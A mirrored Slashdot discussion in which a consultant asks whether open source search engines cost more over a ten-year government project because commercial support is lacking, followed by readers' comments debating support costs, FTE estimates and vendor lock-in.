Slashdot Mirror
Open Source More Expensive In the Long Run?
"Here are some details for you:
I am currently doing consulting work to create a complex custom search utility for a governmental agency. The first major step was, of course, to select a Search Engine that provides as many of the custom requirement features as possible; thus reducing the amount of custom code and my expensive time. Besides high-end search features my customer also required something that was fast, easily administered and likely to be supported for a very long time. Why the last? Well, the expected lifetime of the new project is ten years and this is not out of line considering that their current system is more than a generation old!
Consider again the environment; this is a government agency and is somewhat resource starved. They have a limited number of staff and the staff must split their time among many different working areas. They must be generalists and do not have time to specialize. Plus there is some turnover, especially among the better skilled staff. These factors lead to a basic requirement that there is someone they can call for support for every product they use, preferably 24 x 7. They also need to know that this support will be available for the entire lifetime of the project -- in this case a full decade.
Now to the chase -- without going into boring details, or names, we were able to locate nearly sixty Search Engines that might be suitable. Most of these were commercial, but some were Open Source. From this list we selected eight that seemed most likely to provide all the capabilities we needed, of which one was Open Source (in fact this was actually two variations of the same project). We then performed detailed paper analyses of these products, comparing features to our requirements list and doing some estimated per-year costs to determine the lifetime costs. From the results of this we selected a smaller number for in-house evaluation and from that we selected the final recommendation.
For the commercial products the vendors could supply us with support costs, often broken down in such a way we could choose our support like a Chinese menu. But for the Open Source products this was not the case. Contacting the maintainers of the Open Source products and asking if anyone provided commercial support was fruitless; in one case the response was downright rude (basically a variation on RTFM) and in the other the response was more helpful, but still could not suggest anything other than being active on the mailing list.
So I had to figure in the cost of one of my customer's IT staff staying active on that list and learning enough about the product to provide in-house support supplemented by the email list. Estimating this at one tenth of an FTE and that FTE at a low $80,000 per year resolved to $8,000 per year. This was nearly three times the cost of the most expensive commercial product support!
When factored in with equal administration costs, adding in training and support (available from these vendors) and other one-time and yearly costs (for such things as licenses), the commercial products were more expensive for the first four to six years of lifetime costs, after which the Open Source product became more expensive. Of course the difference wasn't too great, ranging from 20% to 60% higher in a ten-year lifetime. But it was there nonetheless.
Now my customers are not averse to using an Open Source product. After all, there is no guarantee that even the most established vendor will not fall by the wayside in those ten years. They just want to have a certain comfort level, even if it is illusory. And I must admit that any commercial product will require some time from their IT staff, but because there is 'support' available this is seen as being much less important. Major fixes or changes can be dealt with by hiring consultants like myself, and lesser issues dealt with by calling customer support. They might even be right in this estimation.
My estimates might have other holes as well, but that isn't germane. The selection process is nearly complete now and, in a detailed analysis the Open Source products turned out to be missing a couple of features that would have been showstoppers even had support been available. I want to know what resources I can use to (honestly) avoid this issue the next time I am comparing Open Source to commercial software for a client!"
Open source must be cheaper because you can choose who you buy support from. You're not locked to a single vendor who can extort you; just take the cheapest offer.
go figure :)
wow! how did you ever do a whois on him....it's not like it tells his hostname or ip.
just a thought
Well, here's why open source is still economically sound. As todays software companies start moving to timed software licenses, open source will be around. So in two years you may be writing a check every year to microsoft for the right to use Office. But if microsoft folds then you are out of your entire investment and you have no access to the data you created while using the service.
With open source if the devo team quits, folds, or stops supporting their software you still have all the information to continue to use and improve the software you're using.
I don't believe that makes open source more expensive, I believe it makes it more flexible.
Chicago2600.net more than a lifestyle, its a survival trait.
1. Be more stable and contain less bugs in the long run
2. Cost less in terms of licensing etc
3. Have projectable license costs. ie Nil. Whereas who knows how much Micro$oft will charge you in a couple of years.
4. Gain from *not* having to upgrade due to it no longer being supported. Proprietary software forces you to upgrade and infact is built into their model. If you don't buy they go bankrupt
5. Allows you to *gain* from quick bug fixes, security patches and the like
This seems like a typical TCO attack on Open Source which needs to be carefully assessed in a research setting where the differences can be clearly ascertained between proprietary and Open Source software..
---- The Open Source Record Label : : LOCARECORDS.COM
The correct answer here is, it depends.
And announce you'd like to set up a long term 24x7 support contract on the project and ask for bids. Vet them properly and I'm sure you'd come away with a more reasonably priced TCO then you've calculated.
Just a quick comment: commercial support isn't always the answer, and there are subtle, hidden realities there.
For example, my company pays $2000 for annual support on a commercial mail filtering product. This product will (seemingly randomly) return about 2% of all outgoing mail as undeliverable. No problem, because we have the maintenance contract, right? WRONG! Because the vendor plays the finger-pointing game, saying it's the firewall, or the mail server configuration, or anything else but their software.
Software, either purchased OS'ed may appear to be cheaper or more expensive than the alternatives, but be careful, and thorough, when doing the comparisions.
This article coming right on the heels of the Halloween VII article. The MS machine works quickly!
In my mind, the biggest issue with commercial use of open source software is that the consumers of such software have no way of compelling the makers to do one thing or another. As an employee of a commercial software company, I witness daily the effects of our customers using money as a method of getting us to implement features/fix bugs. However, I as an open source software consumer, I often have to live with missing features/bugs in the software I use. Oh sure I could go and fix/implement myself, but the whole point of not building something from the ground up was that I got something that basically worked without having to expend time and effort to make it work. For companies, this time and effort translates directly into money.
I run a small (one employee) business. All critical business functions are performed by commercial software. Sure, I'd like to use an Open Source server product and release my software to work with it, but I'm not comfortable doing that. There's too many possible configurations out there to try to support, and telling the end user that they have to do it my way never seems to work in the Linux world. These are people who pride themselves in being different - they want to tinker. I can provide a Windows installer and let that make all the decisions. Besides, my industry (transportation and logistics for small companies) is ruled by Windows. That's the reality I have to target.
Writers imply. Readers infer.
If there is something already available commercially that does the job that a "project implementor" wants to implement *once or twice*, it makes more sense to go with the commercial solution.
I'm fond of analogies, so bear with me... This is almost similar to the question: "should I write a script to do this automatically, or should I do it manually?" or "should I generalize/templatize/pick your choice, versus hardcode"?
The answers are very case specific.
There are some things I noted in your post.. The cost of 10% of a FTE just be active in a mailing list is a little too high an estimate. Even then, guess what, you would be able to have just one mailing list person even if you implement the project thousand times over, whereas the license fees for the commercial software will scale accordingly.
S
For an open source project, it's a given. (Just do your backups...)
For a commercial project, it's a very fluffy calculation. The cost of that risk is somewhere between zero and the price of starting all over. But where?
"Open source" is a huge expansive field. Some products will be easiers/cheaper to administrate and support, and some will be more difficult. The 'commercial' vendors have an advantage because they are spreading the support costs (all the infrastructure that goes with support as well) across many customers. Taking a DIY approach means most or all of those costs are born in your company, even if it's a small amount.
Shameless plug: My company offers professional PHP support via phphelpdesk.com (PHP itself and most of the packages around PHP, including Apache, MySQL, etc) as well as hands-on training courses. There are other companies that provide similar services for other languages (probably more for Java than PHP, for example).
creation science book
Comment removed based on user account deletion
I find that commercial software is updated or "upgraded" to a new version, new license, hence a new lifetime much more often, whereas the OSS applications we use such as Apache, just age and get more patches, hence a much longer lifetime, and more apparent support required. Looking at our system to admin ratio, the M$ systems are at like 15 to 1, while the unix systems run more like 30 to 1. Note I am not counting the Bazillion M$ desktops because they are generally imaged and they do very little trouble shooting, just reimage and restore.
errr....umm...*whooosh* *whoosh* Is this thing on ?
Added to this, once you've bedded the product in, probably over a course of 2-4 years, it will just sit in the background and work as-is without any intervention.
It's time for that myth to die.
Companies are in business to make money. Linux was and continues to be front page news--people know about it. So, while this article may get hundreds of yelling and screaming "point of fact" replies, it seems that many companies have tried OSS software (or at least costed it) and have come to the same conclusions--in the long run, it's at least as expensive as commercial equivalents.
And I'm coming at it from a number of standpoint standpoints:
remember the old saying:
"It's only free software if your time is not worth anything."
Hmmm, you are estimating $8000/year cost for someone to stay current by subscribing to and reading a mailing list? Maybe I should be working for your company.
First off, on an annual basis 1/10th of an FTE is probably excessively high. That's 4 hours a week devoted to being the support guy for this OSS product by reading mailing lists and maybe doing a little patching. When new releases are deployed or new security bugs found or whatnot, you *might spend* 4-8 hours that week, but I bet most weeks and even most years it takes far less time. Another thing to consider is that some of this time spent supporting (and learning to support) a peice of OSS can be amortized with the costs of supporting other software. In other words, once you get one guy trained in the workings of the OSS world (where to find FAQs, how to address people on technical mailing lists, simple source patching, etc), he can apply those skills across the board. Proactive support in the form of watching for new bugs and security reports gets clumped together by BugTraq et al.
If I were in your position of making the support cost analysis, I'd probably put it at more like 2 hours/week on average the first year, and dropping to 1 hour/week on average the remaining years. This should place it around the same $$ as the commercial options. This is assuming this is the only OSS around. If the same department picks up a few more OSS support tasks, they can lump them into this one guy and drive his cost per peice of OSS even lower.
Perhaps rather than a new business model, large companies should create new positions called "OSS Support Engineer", and hire linuxy geeks who know this world to sit in and be their in-house mediator between their developers/admin and the mailing lists and authors of the OSS.
11*43+456^2
I work for a company that is trying to migrate from Sun to PCs, and (against my advice) chose the windows NT line (it won largely on the support argument). For some of our in house applications we do a lot of parallel computing, NT was simply not able to do a lot of what we needed it to do. Anyone care to guess how much support we have gotten? We have gotten none, MS responded to our complaints by telling us (paraphrased) 'you need to find a way to hack our system'.
In closing...
You have to consider the quality, and amount of support you get for the commercial stuff, not just that they claim there is support.
"I'll have a Guinness, no wait, make that a Coors Light" -Grad student I work with, who shall remain anonymous...
Open source is not a single thing. The question isn't whether open source is more expensive than closed, it's whether a particular tool is more expensive than another. In your case you found that an open source tool wasn't the way to go. In other cases you are bound to find that it is the way to go. Credit to you for approaching it in an objective manner.
I live ze unknown. I love ze unknown. I am ze unknown.
The problem with these analyses is that it often overlooks how little commercial support really gets you. Esp. if you're looking at very long duration projects with limited resources to pay somebody to support your platform long after everyone else has moved on.
Let's set the way back machine back about the same number of years, let's say to 1994. You develop an application and buy hardware....
Your Linux solution is running a pre-1.0 kernel on a box that runs under 100Mhz. If you need to recompile it to work on new hardware and OS when your old system bites it, you can.
Your Windows solution is running on Windows 3.1. Good luck getting support for it. If you are willing to pay for a whole new development cycle, you reinvented it for Windows 95. Good luck getting support for it. Ditto your upgrade to NT4, which also required all new hardware.
The cold hard truth is that when you're looking at a long window, you MUST have FULL source or you're hosed. At some point you're going to need to run on hardware that's no longer being made, or your hardware will require some driver that you can't get without upgrading your OS, etc.
For every complex problem there is an answer that is clear, simple, and wrong. -- H L Mencken
What is the cost of a closed source solution which 5 years down the line is no longer supported by the original supplier?
(who has since been taken over twice by companies that have no interest in your original product.)
Their response to your problem? - "give us $100K to upgrade to the next version of our product".. which you won't be able to use without major re-engineering because it is incompatible with your original software.
An everyday story of the closed source software industry....
It depends. What kind of software are you looking at? What do you want to do with it? What features do you need from it?
Please correct me if I got my facts wrong.
In nearly all cases, if you have competent admins, you don't need support. Tech support staff are by and large not good at troubleshooting and are don't know the products they support very well.
On the other hand, most trouble can be solved by groups.google.com, good investigation and troubleshooting, and sometimes an upgrade.
Honestly -- who really uses support?
I, for one, welcome our new Antichrist overlord.
What, so he used to work for MS. Big deal. He's clearly not a MS lover. He seems like a generally moderate kind of guy. Read his rant on government interference for what it's worth. Theres some good and bad in there. He's definately not a ms planted and ms staffed writer trying to spread FUD on /.
Try LinuxCare for tech support on open source applications: here is the link to the "Advanced Support" page
How can any one company provide support for all Free Software/Open Source products? What you need to do is look for a company that specializes in the language that this particular project is written in and get an estimate for their services. Because the source code is open, there is the additional advantage of being able to change to another company if they go belly up or get too greedy in the future. You're not locked into a single vendor or solution provider. Besides, would you really expect one company to give the same level of programming support for projects written in C, C++, Java, Perl, PHP, Python, etc? What we should do is network better: make it easier to find a local specialist with the required skill set to support a particular solution.
"As flies to the wanton boys are we to the gods; they kill us for sport." - William Shakespeare, King Lear
Mismanagement can make lots of things really expensive.
I've used BIND for YEARS. Very little effort except to keep it up to date. Low costs.
I've seen people mangle Lotus Notes into being unbelievably expensive, shown when the lies, damn lies and statistics took into account the same costs they fixed to our Sendmail and QPopper infrastructure (every desktop admin who did pkg_add of my sendmail build once on the machine was had their salary attributed to the cost of standards based mail). We suggested that their notes costs that left out administrators was a bit slanted.
Careful management and selection of software is important.
The acquisition of software is usually the smallest cost.
But support for "unsupported software" and, more, the ability for a talented administrator to fit it to his company's needs is often well worth that lack of security PHB's have.
That and a list of unresolved bugs from our "supported" software :)
. So yeah, I can take a bug tracking/CRM system, install it and make our bug tracking process fall in line with the vendor's notion of how we should do our business or
I can take open source components (bugzilla, GNATS, etc) and other tools and use them to fit how we do our business already.
The latter might take more effort, but at my previous company, we had an ENORMOUS CRM tool that only ran on windows (now add cost of desktop windows where before we had been a 70% unix shop) and we ended up with a tool that Sales marketing and tech support HATED. The data in it was often useless because it was such a burden to use, and we ended up hiring extra people to deal with data entry.
But I know that I could make a case that showed it was cheaper than using Open Source by perhaps showing that features we didn't really want before, but used later only because they were there (report generation that was handy, but far from critical) would have been an additional cost to add to O.S.S.
On the other hand, I've used tools where once we've been bound in, the ONLY way to generate reports was through expensive tools.
A little Perl and ASCII logs from Open Source often make Open Source a winner on this, but that often won't be taken into account.
Many of us here have slapped in a free tool to do things that the corps were taking forever on. Example:
A $3000/machine host monitoring solution was found and chosen.
Now there must be a committee to best decide how to deploy and configure it.
We get bored. net-SNMP on all our machines (runs scripts, reports info, etc) and NOCOL and 2 days later we have 40 machines monitored via the Web, pages getting sent on outages etc.
6 months later, we're told to take it down and pony up $3000/machine to use the "blessed" software.
HE'S A PLANT!!! Microsoft has been planning on doing this for a while!!! Disemminating dinformation!!! FUD FUD FUD FUD!!! RUN AWAY!!! IT'S PROPAGANDA!!
OSS_cost = Commercial_Software_cost - license_fees You need to differentiate license fees and supports fees. As with commercial product you will pay both license fees to use the product and additional support fees to solve problems that occur using the product. While using OSS you don't pay license fees but you will still pay for support. I think supports fees are comparable in both cases.
1. FUD
2. ???
3. Profit!
I congratulate you with the practical and inspiring approach taken by OpenChallenge. It is interesting that this scheme both stimulates the release of open source software and is also operated by people within the open source community itself. Perhaps such a "challenge posting" scheme is also of interest for public authorities to promote open source development. -- Erkki Liikanen European Commissioner for Enterprise and Information Society.
And, secondly, is anyone in the business of providing commercial support and training for the entire universe of Open Source
Well, the support of many commercial titles is crappy. It would be hard to do worse in many cases. They only seem to be helpful if you are paying through the nose and have yet to renew.
What I suggest is that popular OSS sites list people willing to provide support for moola for a given OSS app. That is not expensive to do.
Table-ized A.I.
You briefly touched on this in your post, but what is the comfort level of the vendors you have found? What are the chances of them falling by the wayside, and being unable or unwilling to provide you with the support you may need. Are they large, and well-established companies, or are they smaller shops that may disappear if times remain tough?
Have you also factored in support contracts, and that products purchased, may be EOL'd, and force upgrades to continue being supported. These forced upgrades could then have a trickle-down effect of increased license costs, licensing changes, and increased hardware costs (new servers).
Not to sound to OSS Zealot-like, but by having the source code, you own it for the life of your project. With a third-party vendor, you are ate the mercy of the vendor's support staff, and development.
I'd say take a closer look on support costs, licensing upgrades, and the products being EOL'd and forcing upgrades.
Perfect example as to why open source is cheaper!
Our FEDEX machine is Windows NT; support for that consists of some phone tech reading (haltingly) from a flow chart.
Our office PC runs Windows 98, unsupported by MS. We have two Macs, one a clone running OS 9.2 (unsupported), and the other running 10.1 (Apple has moved on to 10.2.)
At home, I'm using BeOS (unsupported - Be is dead, soon to be supported open-source style!) and some other unsupported Windows configs.
Security and bug patches for windows 95/98? New SPs for Win 2000? Nope.
What was the question again?
I have never 'paid' for linux support, its easy to use out of the box, and the manuals are getting better all the time, they say RTFM for a reason. There are just some unscruplious people out there trying to get money from dumb people.
You seem to have failed to mention how you are being *assured* that company selected will be in business 10 years from now. You mention it as an important requirement but don't say how you satisified it.
In this economy, odds are good any company you pick is going to be tits-up 10 years from now. If keeping a dinosaur alive the next 10-20 years really is important to you, then you had better have written into your service agreement that if the company goes belly up OR if the version of the product you are using is dropped, then you get the product and source code free.
If your PHB are banking on the myth that buying a big-name product from a big-name company gives them security, they are idiots.
First, this sounds like a turnkey system, once installed. Your estimate of 1/10th of an fte seems a little high; once installed, the search engine shouldn't take 45 minutes a day to maintain.
But, in any case, if they have an employee who can shoulder the burden of maintaining this product without adversely impacting that employee's performance, then internal support costs nothing at all. Plus, there are very few commercial products that are guaranteed support for even a few years, let alone 10. Sure, support this year is available at a reasonable cost; but there's a good possibility any random company will go out of business within the next ten years, or they may drop support for that product.
With open/free software, you have the chance to maintain the product yourself, long after the original producer has dropped support.
Microsoft is to software what Budweiser is to beer.
There is an economy of scales working here.
Where support costs on OSS really make sense is in a company where there is one geek that can manage several OSS products. If this fella is getting paid 80,000 per year and he can support many OSS products, your cost of support decreases. As he supports more products the cost per product drops.
On the other hand, in your case, there is one product that must be supported, and one person supporting it -- or there is only outside support. In your case, OSS software probably is more expensive than a supported, probably more intuitive product.
the product you've purchased is no longer supported by the company that created it? Companies come and go, so do software products. I would imagine that you'd be in the same boat regarding support in a couple of years OSS or not. Look at windows 3.1, you think you're going to get usefull support from M$? If you need a timely solution you'll have to track down some expert close to you anyways. And considering how much more OSS uses open standards, finding a usefull 'expert' even in a few years after deployment should be alot easier then trying to deal with the support you'll get from software vendors.
Too many times we've paid for support from a vendor, only to discover that the problem(s) we've encountered are beyond their ability/desire to resolve...and we've been stuck with a useless product...
At least if the product was OpenSourced we'd have the option of subcontracting the fix to a thirdparty rather than having to dump it and find something else.
24x7 Tech Support just means they'll answer your call...not that they'll fix the problem.
Just my 0.02c
Give a hand, not a hand-out.
in one case the response was downright rude (basically a variation on RTFM)
I didn't know that Richard Stallman had written a search engine? Damn, has emacs gotten that bloated?
Everybody Wang-Chung tonight!
The reason that no single company offers support for every piece of open source software in existence is because it's impossible. Just as nobody supports all commercial software. You just can't learn everything. And most open source software sucks (!), so most of your learning would be a waste of time.
If you want to make money in this business then you should focus on the quality OS software, like Linux, Bind, Sendmail, Apache. There's 99% of your market, right there.
I think it is possible to find good open-source support, cheaply or freely.
The hardest part, usually, is finding a source that 1) gives quality support, and 2) is not comprised of contributors who like to treat newbies like idiots.
For just about any good OSS project, there are good FAQs, How-to's, Forums, and Mailing lists to help answer your questions. I few I can think of off the top of my head are projects like PHP, Apache, LEAF/LRP.. the list goes on. Usually, the closer you are to the source of the project, the better luck you will have and the nicer people you'll have to deal with. The more removed your source of support (133+ script kiddies! yo!) the more of a chance you are of being belittled by kids who can't even drive yet.
I've also found that dealing with companies who offer commercial solutions built on top of OSS projects -- (Ciphertrust's IronMail, for instance) tend to be very knowledgable and helpful, granted for a price. But, the support is out there. Good support is out there. And for little or no more than you'd pay to Intel, IBM, MicroSatan, or any other vendor...
Ed R.Zahurak
You know, oblivion keeps looking better every day.
The point of the submitter's comments was that the products with a support structure in place were less expensive than products without a support structure in place (that would require someone on staff to do support). Whether any of the projects involved (on either side) were open source or not doesn't factor into the equation -- it would've been just as likely that they could've gotten the author (or team) of one of the open source projects to charge for support as to blow them off, and if that happened, there'd be no article, would there?
In other words: SHBT. SHL. HAND.
But for the Open Source products this was not the case. Contacting the maintainers of the Open Source products and asking if anyone provided commercial support was fruitless; in one case the response was downright rude (basically a variation on RTFM) and in the other the response was more helpful, but still could not suggest anything other than being active on the mailing list.
Sounds to me like this just is not a supported product. You can't can get support if it isn't there.. Open Source doesn't mean every product is magically supported by some roving group of expert consultants. If you have to choose between closed-source lock-in and nothing, well, I'd have to go with the lock-in.
Of course, an open-source consulting company might pop up in the next couple of years that does exactly what you want for 1/10 the price and gives you freedom, but since you went with the closed-source solution, you're stuck.
I've found that Open Source is usually cheaper because you have the flexibility to choose how you want to do things. Stick with your old hardware, upgrade, pay a consultant for a one-time job, do it yourself, etc.
...since you posted a (well-articuled, at that) argument that OSS might not always be the cat's pyjamas, I'm willing to wager you're new here ?
It doesn't seem feasible to have a FTE deal with support for a tool that is an integral part of the organization's environment. Not only is it a waste of the FTE's time, if that person were to leave the organization would have to find a replacement that was already up to speed with the tool.
A better solution would be to use consultants like you (and me.) When I bid on a project I include provisions to support the project for some length of time, this is particularly important when the project includes open source tools. Once the support period ends a client can still contact me for additional support, either on an hourly basis or by negotiating for support through a monthly contract. A decent consultant should be able to support many different organizations and open source tools; when I need to update Apache for my clients I don't download and build a copy at each client's site, I get one copy, build it and then distribute it to the clients. This way the time (and cost) per client is quite low, it's much more efficient than having an FTE monitor a list and install every patch themselves.
A consultant who's familiar with how open source works and is reasonably organized can learn about a new tool and very quickly be able to support that tool. Of-course if the organization requires a great deal of customization the cost can be quite high, but if all that's required is an occasional security patch and relatively minor configuaration change then a decent consultant should be able to do that for less than $8,000 a year.
--alex
If you're using an Open Source tool and want certain features, why not pay the programmer to customise his tool to your taste?
Question jow many current IT people in your staff grduated with CS degrees of your current IT staff total..my bet its ()% or higher..
You could support the opne source software you use with your own staff no need ofr outside high consultant fess did you even look at that possiblity?
Opensource is opne for a reason! To make it easy to change or update code to ad dnew functionality with current staff without having to go outside for long term full-time support..
It snot always the case but in your case you need to look at this option rather than make some embarrsing wonrg assumptions..
Don't Tread on OpenSource
I've been using free software for 12 years. The most I've ever spent for said software (combined) was about $200 for cds and floppies. So, yeah, it's really fuckin' expensive in the long run.
Being a 12mo Linux newbie I was only trying my best to be correct. This is the first time I have read a position statement from this view. Very interesting, I will investigate and adjust accordingly.
did you announce that you were willing to pay with the question of support for the product?
One thought on Open Source is that if someone develops a piece of code - and they offer technical support for that code @ 5000 a year. 10 customers and you'll hit 50,000 a year. (20 customer == 100,000 a year, etc).
Asking politely on the mailing list - and it's likely someone will jump onto that bandwagon.
I think 10% of a FTE at 80K /Year * 10 Years is an over estimate.
Try this instead
Learn the product comletely. 1 FTE * 2 Weeks 2 weeks = 2/50 (roughly) so 80K/25 or 3.2K one time. Ignore installation customization, since you will have to do that for any product. Assume four major crisis the first year where that person spends 2-3 days dealing. 80 hours / 2000 (roughly 2000 working hours per year) or 4% again of 80K $3200. Subtract from that the time this same person would spend on the phone with the support staff, etc etc and I think I'd be willing to shave that estimate down by a day at least, so say $3000. So your up front costs are 6 Grand. Assuming that crisis moving forward are less frequent, say one weeks worth a year, your year total will be $1500. So you are looking at a total cost under 20,000. or 2000 year
Open Source Identity Management: FreeIPA.org
Maybe for now the support for open source software might be more expensive than commercial.. However as more businesses switch to open source the market for open source support will increase and refine as the greater number of companies start specializing in open source support.. With greater number of companies specializing in open source support the "lifetime" cost of open source support should decrease due to competition and greater numbers of companies offering open source support. Basically the more the open source grows the more attention will it attract in terms of suport.. More and more companies will jump into the open source support market and as that happens prices will go lower if my memory of Economics serves me right..
Once again it really depends upon what Open Source product you are talking about. Some are only half-maintained and you'd likely be an idiot to use them. You might be half-way through your development, find a serious bug and have no recourse. With a commercial app you've signed a contract with they'll typically help you a great deal. Some Open Source projects as well. Others. . .
I think part of the problem is that most people hear Open Source and think Apache or the like. Yet those are but a small segment of the overall Open Source movement.
As many others have said, deciding on software really depends upon the individual product and (to be fair) your development staff.
It is more productive to voice thoughtful opinions (reply) than to judge (moderate) others.
As another poster has already stated, you've done the right thing. Given the customer's requirements it looks like buying an off-the-shelf solution is the way to go.
Open source can be a win for some situations, such as when you want to do heavy integration, when your administrators are comfortable maintaining the app, when the application is easy enough to deal with that you don't need signficiant support, etc.
It's not the right choice in every scenario. You shouldn't sell a do-it-yourself kit to someone who wants a polished, fire-and-forget solution.
I think you're being a little simplistic figuring out the support costs.
You're figuring on 1/10 of a full-time engineer to support the search engine. Do you think that with a commercial product that you can devote NO engineers? Even with a commercial product somebody has to keep tabs on things. Even when you buy support, the support engineers don't typically call you and remind you of bugs or do any of the work.
You'll need to dedicate time to the product regardless, and in some cases more time to commercial products.
Its good to see someone doing a complete cost analysis, but I have a question. Why would you need to have someone lurking in the boards for the next eight years?
I can see being heavily involved on the boards during development. I can see it too if you're doing a feature upgrade that involves upgrading the engine or using new capabilities of it. However, if they're really currently running a system that's a generation old, I'm guessing that that system is rather poorly suupported today. I'm also guessing that it doesn't need much support.. development ended several years ago. Maintenance support is much less than integration and first deployment.
At some point, all products reach end-of-life and require personalized support. Fortunately, by the time that happens, the products that use them have been deployed so long that they're either replaced or the customers have been happy with the stability and feature-level and don't want to touch it. There are still some holdouts that are sticking with their favorite 24x80 text editor on DOS simply because, "It ain't broke!"
Instead of $8000/yr for the next eight years, I'd use a logarithmic scale that tapers down rapidly as the bugs are hammered out in the version you're using and active development shifts on to the newer versions. There will simply be less and less things for your support engineer to watch the boards for.
I recently departed a high-level position at a commerical search software company. I can tell you that it was not very common for OSS search engines to be part of the final round of competitors, and, when OOS did make it into the (say) top-3, it RARELY won. In fact, I can only recall one time that OSS "won" the deal, and this was with a company with a legion of developers sitting in Israel just looking for something to do at dirt-cheap prices.
No one should take this as an attack on OSS in general -- the posting was specifically about search engines, and I'm replying with specific knowledge in that space.
At while I use my "free time" to work on my next great application, I have been actively consulting to people deploying search solutions, both commerical and OSS. So, yes, there are people out their supporting OSS on a contractual basis (duh), but specifically 'yes' with respect to search engines.
Yes, it's true. This man has no dick.
`` For the commercial products the vendors could supply us with support costs, often broken down in such a way we could choose our support like a Chinese menu. But for the Open Source products this was not the case. Contacting the maintainers of the Open Source products and asking if anyone provided commercial support was fruitless; in one case the response was downright rude (basically a variation on RTFM) and in the other the response was more helpful, but still could not suggest anything other than being active on the mailing list."
Hmm. I guess someone is either making a lotta of money in this down economy (& doesn't know anyone scrounging for work), or is still in high school & has never wanted for toys.
I'd suggest that you try a few mailing lists or look at a couple of websites. There are lots of folks out there who are both skilled & looking for work, & who would be more than happy to offer you a quote.
``So I had to figure in the cost of one of my customer's IT staff staying active on that list and learning enough about the product to provide in-house support supplemented by the email list. Estimating this at one tenth of an FTE and that FTE at a low $80,000 per year resolved to $8,000 per year. This was nearly three times the cost of the most expensive commercial product support!"
Well, figure again that if you have any kind of enterprise-level software running, someone will have to spend some time monitoring the relevant mailling lists, periodically checking web sites for patches, et cetera. 0.1 FTE works out to being 4 hours a week . . . which seems to me twice as long as it would need. But whether you buy something from Microsoft, Oracle, Sun or download & install an Open Source solution, this constant amount of research needs to be done.
Expecting the support arm of any company to do all of this is foolish. While they will have access to resources you won't have (defect databases, source code), from my experience unless you pay a lot more than $8,000/year the support you'll get from them won't be much better -- & may be worse -- than what you get from the mailling list run by the users.
And if you pay a consultant with the expectation that she/he will do all of this & none of your staff, all you are doing is allowing someone to acquire job security at your expense.
You're going to have to allocate the FTE for maintaining this project no matter which way you go. And you'll have to convince your bosses of this fact.
Geoff
I think I see a trend here. Maybe for them it really would be easier to muzzle the entire internet than to produce p
You've already paid for this in the open source case.
"The last thing I want to do is deal with a bunch of people who want something."
Major Major
In the long run, you can't buy support from a company that doesn't exist.
If you read his essay, he already concedes that projects like Linux are exempt, because you can buy support from someone like Red Hat.
He is talking about the more userland side of things that tend not to have companies behind them.
Sure you can say RTFS, but that is why the support costs are high, you have to hire a consultant or a full time programmer to RTFS of each new project you use. He takes time to read the source, then debug the source, instead of calling a company for an update that exists because several customers have already had the same complaint.
The $8000 is a red herring, because the cost (I agree is should be much less) will still be there for products with support contracts. Someone still needs to monitor the mail groups (if only for "DONT'T APPLY THAT SERVICE PACK! IT ATE MY HARD DRIVE!" warnings), still needs to apply patches, etc. So using this model, if you assume $8000 in staff time for open source products, assume $6500 + support feee for commercial products.
first of all, none of those companies will be around in 10 years to support their search engine. Unless it's IBM. But they're not going to support it. In 5 years or so they'll offer you a sum to buy back the contract. It's more likely you'll be able to contract with an open source developer and he'll be around in ten years. If paying your own employees as maintainers isn't an option because of turnover, then it's ridiculous to base the open source cost on the price of hiring full time employees.
and second, you did get one point right. Choosing your support from a commercial vendor will be very much like picking something from a Chinese menu. You have no idea what you're getting, but chances are that whatever it is, it will look and taste pretty much the same, and leave you wanting more.
1) If you are looking for commercial suppose for an open source product, why would you choose one where it's not available? That seems pretty silly, as does the related point in the original posting.
2) 10 Years is a long time in the software business. What are the chances that the product will exist in something resembling its current form in 10 years? Obviously there is some software that has a very long life, but the great majority of it does not. Assuming the commercial vendor still exists in 10 years and hasn't merged / split / dropped the product, will they still have anyone working there to support the very old software?
I guess for me, it boils down to how stable the product is. Yes, we have commercial software (can you say win2k? office2k? a commercial web-based 'timecard' app?
... so we browsed support.microsoft, found a bunch of 'Q' articles that had suggestions... mostly registry tweaks. We have a corporate contract with microsoft "Premier" support, called them ($800 per incident or something obscene), and after 1/2 an hour of trying to describe the problem he asks "did you read Q-article Q294357 (or whatever it was)"... yup. "what about Q-article Q299332??".. yup. Basically, they had us apply the registry patches from the Q-article. Other than that, they were pretty much useless... $800 for them to look at the same Q-articles we looked at.
Ok... in reference to some of the above:
Win2k -- we started putting users on an old server we built out for file storage (dual P3/450's) and suddenly win2k would hang up the CIFS shares, blue screen, etc...
The web timecard app -- ok, $170K of software, chosen by management types, not use IT folks, of course... "it has the reporting we want". The server has had continual problems. Even though it was pitched to us as working fine with oracle, which we already run, suddenly they tell us it doesn't like SQLNET. We need MDAC. And we find out that most of their customers seem to run SQLServer. Meanwhile, its eaten up literally *months* of IT support time getting it to the point where it only dies every couple of days. Are we really just helping them debug their product? Oh... and the guy who was doing the database tables when it was initially setup used the manual from Sept. 10th... oh, no, you need the manual from Sept. 19th...its got the right info.
Commercial support, paid in full, does not necessarily buy you *GOOD* support.
If you pay someone else to do your support for you, they get a cut.
If you're big enough that you've got an IT staff instead of an IT guru, you're probably big enough to do your support on open-source software in-house, and save money on it. If not, then yeah, outsourcing probably saves you money on training and whatever else and that may offset the cost of buying the closed-source software and the support.
But once you're in the similar "economies of scale" range, buying support from someone else just adds a middleman.
1. The idea that it would take a tenth of an it workers time to be active on the mailing list seems a bit much. 4 hours a week every week? That seems a bit much to me unless the list is very active. Also once he knows the program he does not have to monitor the list every day for hours.
"And I must admit that any commercial product will require some time from their IT staff, but because there is 'support' available this is seen as being much less important."
2. Well guess what if your IT staffer does not know the product than he will spend A LOT of time fumbleing about. The staffer will need to know the program.
" Major fixes or changes can be dealt with by hiring consultants like myself, and lesser issues dealt with by calling customer support."
So how is this different from an OSS product? He could hire a consultant that knows the OSS product.
See my blog http://ilovecookes.blogspot.com/ for light hearted technical information.
You said it better than I ever could: this guy's not trying to bash open source, he was disappointed that this particular open source tool was going to be more expensive. He sounds like he did a pretty thorough job researching it & thinking it through, too... not just jumping on the bandwagon.
Have you read the Moderation Guidelines Addendum?
10% of an FTE. Someone would have to spend 10% of their time (full time job) just to read a mailing list? That's a LOT of time. Assuming 7 hour days - that's 42 minutes spent every day just reading the mailing list. Wow.
What about a slightly more sporadic use pattern? For example:
1) IF you have a problem - post it on the newsgroup (or to the mailing list).
Then the next morning see if you have any replies.
2) If you have a person that is fluent with some aspect of the software - have them spend half an hour a WEEK to glance through most recent mailings and see if they can answer any of them. (Optional step - but it's nice to give back to the community).
